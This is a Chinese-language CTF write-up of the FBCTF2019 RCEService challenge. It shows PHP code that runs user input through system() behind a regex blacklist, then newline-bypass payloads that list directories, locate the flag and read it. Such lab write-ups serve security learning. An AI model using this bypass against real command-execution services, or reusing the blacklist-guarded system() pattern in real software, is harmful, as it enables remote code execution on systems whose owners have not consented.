[FBCTF2019]RCEService

源码

python 复制代码
<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

putenv('PATH=/home/rceservice/jail');

改变了环境变量, 也就无法直接使用cat这样的命令了

需要一个完整的路径比如 /bin/cat

可以在自己的vps上面在bin目录下找到这些命令

复制代码
preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)

*$可以通过多行绕过, %0a可以绕过

json_decode($json, true)['cmd']解码成一个关联数组, 通过下标cmd访问

所以就是{%0a"cmd": "命令"%0a}的形式

列出根目录
?cmd={%0a"cmd": "/bin/ls /"%0a}

没有发现flag, 使用find命令查找一下
?cmd={%0a"cmd": "/usr/bin/find / -name 'flag'"%0a}

拿flag
?cmd={%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

相关推荐
alwaysrun2 天前
Web之WASM详解
web·wasm
kali-Myon2 天前
分享一个网络安全 AI 工具导航项目 SecSkills
安全·ai·github·ctf
flying jiang3 天前
TencentEdgeOne/enterprise-website-template 国内独立开发部署完整方案
web
蒲公英eric3 天前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
Mininglamp_27184 天前
WebRetriever技术架构:视觉特征与DOM结构融合的网页元素定位方案
ai·agent·web
白猫不黑4 天前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗
guwentian4 天前
WebGPU 和 WebTransport 2026 真的能上生产了吗?
web·gpu·transport
刺客码5 天前
Layui 表格固定列行高错位问题解决方案
前端框架·layui·jquery·web
COOLMO研究AI5 天前
Next.js App Router 中 sitemap、robots 与 canonical 的配置与排查
前端·web·js·网站优化
ji_shuke5 天前
Apple Pay Web 跨浏览器二维码支付接入与踩坑实战:从 Safari 到 Windows Chrome
web·apple pay